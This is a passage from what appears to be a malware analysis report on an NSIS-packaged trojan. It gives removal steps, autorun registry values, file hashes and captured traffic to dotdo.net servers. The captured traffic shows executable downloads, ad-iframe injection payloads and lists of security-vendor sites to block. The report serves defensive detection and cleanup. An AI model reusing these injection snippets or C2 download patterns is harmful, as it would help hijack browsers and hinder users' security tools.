    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns43.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns49.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns3E.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns25.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns5F.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns2F.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns2A.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns1E.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns22.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns3C.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns4D.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns29.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns5A.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns35.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns2E.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns57.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns30.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns56.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns52.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns3B.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns46.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns38.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns44.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\System.dll (11 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns37.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns1F.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns60.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns66.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns62.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns65.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns4F.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns4A.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns47.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns3F.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns59.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns61.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns24.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns26.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns21.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns20.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns34.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns51.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns67.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\nsExec.dll (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns50.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns36.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns5D.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns68.tmp (6 bytes)
    C:\a\avchk.txt (2026 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns4E.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns53.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns69.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\vchk[1].htm (2026 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns40.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns3A.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns4B.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns23.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\inetc.dll (20 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns45.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns5B.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns2B.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns33.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns63.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns31.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns42.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns2C.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns54.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns39.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns58.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns55.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns3D.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns32.tmp (6 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsh19.tmp\ns5C.tmp (6 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "interpee" = "C:\a\internetport3.exe"

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "dutoauto" = "C:\a\wincheckfe.exe"

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "cutoauto" = "C:\a\wincheckfe.exe"

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "interpee" = "C:\a\internetport3.exe"

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "autoauto" = "28211531.bat"

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "rutoauto" = "28211531.bat"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.
*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text409623628240644.46394856b32eb77dfd6fb67f21d6543272da5
.rdata28672476451203.4982dc77f8a1e6985a4361c55642680ddb4f
.data3686415471210243.32787922d4ce117d7d5b3ac2cffe4b0b5e4f
.ndata1925126553600d41d8cd98f00b204e9800998ecf8427e
.rsrc258048252825603.124033333d5ca3c163ed95562eb98d8231779

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:


Total found: 10
6e9a02e45ff743e1e4fadd370e2903eb
aba7046b8baa12b2f0d4c8e67c5ee5dc
870adaabb0d08155f2e2f0d0d5111c82
71cc6609b8db5735ef1d0cf991f0ee49
b8c773eb87a0e41fc08ac983d38eaae0
48423276abbd0ba36915f6c270ce2246
d433981901923cfc7761708c0a8c1bba
000b647a23034792225a3ab9da073d23
c9011de3725d8bff7315a68c4adbad5b
6f36ebfe9bcdb0e9ce78f8200cc42804

Network Activity

URLs

URL IP
hxxp://dotdo.net/cki.php?a=aa&pp=http=127.0.0.1:8877;https=127.0.0.1:887781.17.31.2
hxxp://dotdo.net/act/bdcount.ini?uniqueid=EwyLuFd30KHCoG0EFQa8&type=1&reg=28211531.bat&prama=&pramb=&pramc=&system=XP?v=5&rd=881.17.31.2
hxxp://dotdo.net/act/uniqueEwyLuFd30KHCoG0EFQa8.ini?rd=881.17.31.2
hxxp://dotdo.net/act/exesbununique/EwyLuFd30KHCoG0EFQa8.exe81.17.31.2
hxxp://dotdo.net/act/txt/hho.txt81.17.31.2
hxxp://dotdo.net/act/txt/uur.txt81.17.31.2
hxxp://dotdo.net/act/exevc/vchk.exe81.17.31.2
hxxp://dotdo.net/act/txt/vv.txt81.17.31.2
hxxp://dotdo.net/act/txt/vchk.txt81.17.31.2
hxxp://dotdo.net/ckkk.html81.17.31.2
hxxp://dotdo.net/ckkkp.html81.17.31.2
hxxp://dotap.dotdo.net/act/txt/vv.txt81.17.31.2
hxxp://dotap.dotdo.net/act/exevc/vchk.exe81.17.31.2
hxxp://dotap.dotdo.net/act/txt/vchk.txt81.17.31.2
hxxp://dotap.dotdo.net/act/uniqueEwyLuFd30KHCoG0EFQa8.ini?rd=881.17.31.2
hxxp://dotap.dotdo.net/act/exesbununique/EwyLuFd30KHCoG0EFQa8.exe81.17.31.2
hxxp://dotap.dotdo.net/act/bdcount.ini?uniqueid=EwyLuFd30KHCoG0EFQa8&type=1&reg=28211531.bat&prama=&pramb=&pramc=&system=XP?v=5&rd=881.17.31.2
hxxp://dotap.dotdo.net/act/txt/hho.txt81.17.31.2
hxxp://dotap.dotdo.net/act/txt/uur.txt81.17.31.2
fp0.dotdo.net109.123.123.124

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /ckkk.html HTTP/1.0

User-Agent: tota

Host: dotdo.net

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Date: Thu, 20 Aug 2015 14:09:31 GMT

Server: Apache/2.2.22 (Win64) PHP/5.3.13

Last-Modified: Mon, 15 Dec 2014 23:18:16 GMT

ETag: "1d6000000029282-91-50a497515eff0"

Accept-Ranges: bytes

Content-Length: 145

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">..<html>..<head>..<title>Untitled</title>..</head>..<body>..</body>..</html>..HTTP/1.1 200 OK..Date: Thu, 20 Aug 2015 14:09:31 GMT..Server: Apache/2.2.22 (Win64) PHP/5.3.13..Last-Modified: Mon, 15 Dec 2014 23:18:16 GMT..ETag: "1d6000000029282-91-50a497515eff0"..Accept-Ranges: bytes..Content-Length: 145..Keep-Alive: timeout=5, max=100..Connection: Keep-Alive..Content-Type: text/html..<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">..<html>..<head>..<title>Untitled</title>..</head>..<body>..</body>..</html>......

GET /ckkkp.html HTTP/1.0

User-Agent: tota

Host: dotdo.net

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Date: Thu, 20 Aug 2015 14:09:36 GMT

Server: Apache/2.2.22 (Win64) PHP/5.3.13

Last-Modified: Sat, 29 Nov 2014 11:40:35 GMT

ETag: "100000000026c77-9f-508fdd8811aa8"

Accept-Ranges: bytes

Content-Length: 159

Keep-Alive: timeout=5, max=99

Connection: Keep-Alive

Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">..<html>..<head>..<title>Untitled</title>..</head>..<body>....<mamoba>..</body>..</html>..HTTP/1.1 200 OK..Date: Thu, 20 Aug 2015 14:09:36 GMT..Server: Apache/2.2.22 (Win64) PHP/5.3.13..Last-Modified: Sat, 29 Nov 2014 11:40:35 GMT..ETag: "100000000026c77-9f-508fdd8811aa8"..Accept-Ranges: bytes..Content-Length: 159..Keep-Alive: timeout=5, max=99..Connection: Keep-Alive..Content-Type: text/html..<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">..<html>..<head>..<title>Untitled</title>..</head>..<body>....<mamoba>..</body>..</html>....

GET /act/bdcount.ini?uniqueid=EwyLuFd30KHCoG0EFQa8&type=1&reg=28211531.bat&prama=&pramb=&pramc=&system=XP?v=5&rd=8 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36

Host: dotap.dotdo.net

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Thu, 20 Aug 2015 14:08:57 GMT

Server: Apache/2.2.22 (Win64) PHP/5.3.13

X-Powered-By: PHP/5.3.13

Content-Length: 8

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html

[a]..v=6HTTP/1.1 200 OK..Date: Thu, 20 Aug 2015 14:08:57 GMT..Server: Apache/2.2.22 (Win64) PHP/5.3.13..X-Powered-By: PHP/5.3.13..Content-Length: 8..Keep-Alive: timeout=5, max=100..Connection: Keep-Alive..Content-Type: text/html..[a]..v=6....

GET /act/uniqueEwyLuFd30KHCoG0EFQa8.ini?rd=8 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36

Host: dotap.dotdo.net

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Thu, 20 Aug 2015 14:09:06 GMT

Server: Apache/2.2.22 (Win64) PHP/5.3.13

X-Powered-By: PHP/5.3.13

Content-Length: 10

Keep-Alive: timeout=5, max=99

Connection: Keep-Alive

Content-Type: text/html

[a]..v=yes....

GET /act/exesbununique/EwyLuFd30KHCoG0EFQa8.exe HTTP/1.1

User-Agent: tota

Host: dotap.dotdo.net

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Thu, 20 Aug 2015 14:09:06 GMT

Server: Apache/2.2.22 (Win64) PHP/5.3.13

Last-Modified: Tue, 26 May 2015 16:50:52 GMT

ETag: "100000000026a66-dfa3-516feede835a3;509b7b7bbf620"

Accept-Ranges: bytes

Content-Length: 57251

Keep-Alive: timeout=5, max=98

Connection: Keep-Alive

Content-Type: application/x-msdownload

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i........................PE..L......K.................^...........0.......p....@..........................................................................t.......................................................................................p...............................text...L\.......^.................. ..`.rdata.......p.......b..............@..@.data...X\...........v..............@....ndata...................................rsrc................z..............@..@........................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H....h.B..H.P.u..u..u...Hr@..B...SV.5p.B..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h`.B.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G.....t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i....

<<< skipped >>>

GET /act/txt/hho.txt HTTP/1.1

User-Agent: tota

Host: dotap.dotdo.net

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Thu, 20 Aug 2015 14:09:09 GMT

Server: Apache/2.2.22 (Win64) PHP/5.3.13

X-Powered-By: PHP/5.3.13

Content-Length: 4040

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html

VVV.later-download.com.later-download.com.VVV.evodownload.com.evodownload.com.cdn.castplatform.com.m3.zlvijp.com.zonealarm.com.VVV.zonealarm.com.download.zonealarm.com.VVV.malwarebytes.org.malwarebytes.org.d.instashareonline.com.instashareonline.com.VVV.instashareonline.com.cdn.optimizely.com.fp114.digitaloptout.com.VVV.superfish.com.superfish.com.static.scanscout.com.z7hcp7lnkxu.st31g1duz2.com.ads.pubmatic.com.f-secure.com.VVV.f-secure.com.gripdownload.co.d.jazzedcdn.com.VVV.gripdownload.co.360safe.com.VVV.360safe.com.comodo.com.VVV.comodo.com.personalfirewall.comodo.com.comodo-internet-security.en.softonic.com.srv.quikdisplay.com.VVV.dimtron.com.dimtron.com.d.gettvwizard.com.d.instashareonline.com.instashareonline.com.VVV.instashareonline.com.apiboxrockinfo-a.akamaihd.net.b3.playfizz.com.apitechgilenet-a.akamaihd.net.d2d6i1lejl34hs.cloudfront.net.jelly.hatonafish.com.nps.donutleads.com.app.donutleads.com.istatic.datafastguru.info.pstatic.datafastguru.info.static.datafastguru.info.datafastguru.info.VVV.datafastguru.info.jsgnr.datafastguru.info.cdn.sharedaddomain.com.VVV.sharedaddomain.com.cdn.sharedaddomain.com.besttv39.cdn.it.best-tv.com.nps.donutleads.com.VVV.donutleads.com.donutleads.com.securepaths.com.VVV.securepaths.com.upgrade-software.org.VVV.upgrade-software.org.nps.pastaleads.com.pastaleads.com.www.pastaleads.com.app.pastaleads.com.74faa29e28b0e.com.VVV.74faa29e28b0e.com.VVV.safedownloadsrus108.com.safedownloadsrus108.com.VVV.v4download.com.v4download.com.VVV.v4download2.biz.v4download2.biz.VVV.4fbd0

<<< skipped >>>

GET /act/txt/uur.txt HTTP/1.1

User-Agent: tota

Host: dotap.dotdo.net

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Thu, 20 Aug 2015 14:09:09 GMT

Server: Apache/2.2.22 (Win64) PHP/5.3.13

X-Powered-By: PHP/5.3.13

Content-Length: 2039

Keep-Alive: timeout=5, max=99

Connection: Keep-Alive

Content-Type: text/html

VVV.download.cnet.com/Malwarebytes-Anti-Malware/3000-8022_4-10804572.html..download.cnet.com/Malwarebytes-Anti-Malware/3000-8022_4-10804572.html..VVV.filehippo.com/download_malwarebytes_anti_malware..filehippo.com/download_malwarebytes_anti_malware..majorgeeks.com/files/details/malwarebytes_anti_malware.html..VVV.majorgeeks.com/files/details/malwarebytes_anti_malware.html..VVV.microsoft.com/en-us/download/confirmation.aspx?id=9905..microsoft.com/en-us/download/confirmation.aspx?id=9905..ads.pubmatic.com/AdServer/js/showad.js..download.cnet.com/Comodo-Internet-Security-Premium/3000-2239_4-10460704.html..filehippo.com/download_comodo..VVV.filehippo.com/download_comodo..VVV.tomsguide.com/us/download/Comodo-Antivirus-Firewall-internet-security,0301-6605.html..tomsguide.com/us/download/Comodo-Antivirus-Firewall-internet-security,0301-6605.html..VVV.pcmag.com/article2/0,2817,2457135,00.asp..pcmag.com/article2/0,2817,2457135,00.asp..ads.pubmatic.com/AdServer/js/showad.js..b.scorecardresearch.com/beacon.js..d.gettvwizard.com/l/load.js..d.instashareonline.com/l/load.js..apiboxrockinfo-a.akamaihd.net/gsrs?is=EF23DDUS&bp=PB3&g=a636a08d-c0be-4314-b676-974f8a821dce..VVV.filehippo.com/download_malwarebytes_anti_malware..filehippo.com/download_malwarebytes_anti_malware..VVV.filehippo.com/download_malwarebytes_anti_malware/59476..filehippo.com/download_malwarebytes_anti_malware/59476..origin.languages.malwarebytes.org/downloads/..download.cnet.com/Malwarebytes-Anti-Malware/3000-8022_4-10804572.html..tech-support-experts.com/cp

<<< skipped >>>

GET /act/txt/vv.txt HTTP/1.1

User-Agent: tota

Host: dotap.dotdo.net

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Thu, 20 Aug 2015 14:09:09 GMT

Server: Apache/2.2.22 (Win64) PHP/5.3.13

X-Powered-By: PHP/5.3.13

Keep-Alive: timeout=5, max=98

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: text/html

5cea..all;;;;;;;;;;;<div class="mapAndAttrs">;;;;;;;;;;;<div class="mapAndAttrs"><iframe width="300" height="250" scrolling=no frameborder=0 scrolling=no allowtransparency=true src=hXXp://adss.dotdo.net/adss/indexR.php?size=300x250 id="ddttttr"></iframe>..all;;;;;;;;;;;<button class="reply_button js-only">;;;;;;;;;;;<br><iframe width="728" height="90" scrolling=no frameborder=0 scrolling=no allowtransparency=true src=hXXp://adss.dotdo.net/adss/indexR.php?size=728x90 id="ddttttr"></iframe><br><button class="reply_button js-only">..all;;;;;;;;;;;<header class="bchead">;;;;;;;;;;;<br><iframe width="728" height="90" scrolling=no frameborder=0 scrolling=no allowtransparency=true src=hXXp://adss.dotdo.net/adss/indexR.php?size=728x90 id="ddttttr"></iframe><br><header class="bchead">..all;;;;;;;;;;;<ul class="clfooter">;;;;;;;;;;;<br><iframe width="728" height="90" scrolling=no frameborder=0 scrolling=no allowtransparency=true src=http://adss.dotdo.net/adss/indexR.php?size=728x90 id="ddttttr"></iframe><br><ul class="clfooter">..installpath.com;;;;;;;;;;;<div style="margin:0 auto; width:320px; height:270px;">;;;;;;;;;;;<iframe width="850" height="480" scrolling=no frameborder=0 scrolling=no allowtransparency=true src=hXXp://adss.dotdo.net/adss/indexRB.php?a=11 id="ddttttr"></iframe>..VVV.installpath.com;;;;;;;;;;;<div style="margin:0 auto; width:320px; height:270px;"&gt

<<< skipped >>>

GET /cki.php?a=aa&pp=http=127.0.0.1:8877;https=127.0.0.1:8877 HTTP/1.1

User-Agent: tota

Host: dotdo.net

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Thu, 20 Aug 2015 14:08:56 GMT

Server: Apache/2.2.22 (Win64) PHP/5.3.13

X-Powered-By: PHP/5.3.13

Content-Length: 11

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html

...googgoodHTTP/1.1 200 OK..Date: Thu, 20 Aug 2015 14:08:56 GMT..Server: Apache/2.2.22 (Win64) PHP/5.3.13..X-Powered-By: PHP/5.3.13..Content-Length: 11..Keep-Alive: timeout=5, max=100..Connection: Keep-Alive..Content-Type: text/html.....googgood..

GET /act/exevc/vchk.exe HTTP/1.1

User-Agent: tota

Host: dotap.dotdo.net

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Thu, 20 Aug 2015 14:09:09 GMT

Server: Apache/2.2.22 (Win64) PHP/5.3.13

Last-Modified: Wed, 19 Aug 2015 17:31:58 GMT

ETag: "16a000000026349-ddb0-51dad696a4296"

Accept-Ranges: bytes

Content-Length: 56752

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/x-msdownload

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i........................PE..L......K.................^...........0.......p....@..........................................................................t.......................................................................................p...............................text...L\.......^.................. ..`.rdata.......p.......b..............@..@.data...X\...........v..............@....ndata...................................rsrc................z..............@..@........................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H....h.B..H.P.u..u..u...Hr@..B...SV.5p.B..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h`.B.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G.....t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i....

<<< skipped >>>

GET /act/txt/vchk.txt HTTP/1.1

User-Agent: tota

Host: dotap.dotdo.net

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Thu, 20 Aug 2015 14:09:11 GMT

Server: Apache/2.2.22 (Win64) PHP/5.3.13

X-Powered-By: PHP/5.3.13

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: text/html

276b..mpck_gb_26.exe.upmpck_gb_26.exe.LuckyTab.exe.MaxComputerCleaner_Maintenance.exe.ospd_us_1080.exe.upmbot_gb_571.exe.Setup_product_26943.exe.SwiftRecord.expext.exe.SwiftRecord.BOASHelper.exe.SwiftRecord.BOASPRT.exe.SwiftRecord.BOAS.exe.SwiftRecord.BrowserAdapter.exe.TriplePose.expext.exe.TriplePose.BOASHelper.exe.TriplePose.BOASPRT.exe.TriplePose.BOAS.exe.TriplePose.BrowserAdapter.exe.FragileFixer.expext.exe.FragileFixer.BOASHelper.exe.FragileFixer.BOASPRT.exe.FragileFixer.BOAS.exe.FragileFixer.BrowserAdapter.exe.SimpleforYou.expext.exe.SimpleforYou.BOASHelper.exe.SimpleforYou.BOASPRT.exe.SimpleforYou.BOAS.exe.SimpleforYou.BrowserAdapter.exe.Hatchiho.expext.exe.Hatchiho.BOASHelper.exe.Hatchiho.BOASPRT.exe.Hatchiho.BOAS.exe.Hatchiho.BrowserAdapter.exe.MountainBike.expext.exe.MountainBike.BOASHelper.exe.MountainBike.BOASPRT.exe.MountainBike.BOAS.exe.MountainBike.BrowserAdapter.exe.EduApp.expext.exe.EduApp.BOASHelper.exe.EduApp.BOASPRT.exe.EduApp.BOAS.exe.EduApp.BrowserAdapter.exe.innoApp.expext.exe.innoApp.BOASHelper.exe.innoApp.BOASPRT.exe.innoApp.BOAS.exe.innoApp.BrowserAdapter.exe.SpecialBox.expext.exe.SpecialBox.BOASHelper.exe.SpecialBox.BOASPRT.exe.SpecialBox.BOAS.exe.SpecialBox.BrowserAdapter.exe.BetweenLines.expext.exe.BetweenLines.BOASHelper.exe.BetweenLines.BOASPRT.exe.BetweenLines.BOAS.exe.BetweenLines.BrowserAdapter.exe.EnhanceTronic.expext.exe.EnhanceTronic.BOASHelper.exe.EnhanceTronic.BOASPRT.exe.EnhanceTronic.BOAS.exe.EnhanceTronic.BrowserAdapter.exe.MetalMaker.expext.exe.MetalMaker.BOASHelper.e

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

wincheckfe.exe_512:

.text

.text

`.rdata

`.rdata

@.data

@.data

.ndata

.ndata

.rsrc

.rsrc

uDSSh

uDSSh

.DEFAULT\Control Panel\International

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

Software\Microsoft\Windows\CurrentVersion

GetWindowsDirectoryA

GetWindowsDirectoryA

KERNEL32.dll

KERNEL32.dll

ExitWindowsEx

ExitWindowsEx

USER32.dll

USER32.dll

GDI32.dll

GDI32.dll

SHFileOperationA

SHFileOperationA

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

RegEnumKeyA

RegEnumKeyA

RegCreateKeyExA

RegCreateKeyExA

RegCloseKey

RegCloseKey

RegDeleteKeyA

RegDeleteKeyA

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

COMCTL32.dll

COMCTL32.dll

ole32.dll

ole32.dll

VERSION.dll

VERSION.dll

verifying installer: %d%%

verifying installer: %d%%

hXXp://nsis.sf.net/NSIS_Error

hXXp://nsis.sf.net/NSIS_Error

... %d%%

... %d%%

~nsu.tmp

~nsu.tmp

%u.%u%s%s

%u.%u%s%s

RegDeleteKeyExA

RegDeleteKeyExA

%s=%s

%s=%s

*?|/":

*?|/":

~1\"%CurrentUserName%"\LOCALS~1\Temp\nsm12.tmp\FindProcDLL.dll

~1\"%CurrentUserName%"\LOCALS~1\Temp\nsm12.tmp\FindProcDLL.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsm12.tmp\FindProcDLL.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsm12.tmp\FindProcDLL.dll

\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsm12.tmp

\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsm12.tmp

\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsm12.tmp\FindProcDLL.dll

\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsm12.tmp\FindProcDLL.dll

.reloc

.reloc

Kernel32.DLL

Kernel32.DLL

PSAPI.DLL

PSAPI.DLL

FindProcDLL.dll

FindProcDLL.dll

System.dll

System.dll

callback%d

callback%d

g.ZO||k[

g.ZO||k[

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsm12.tmp

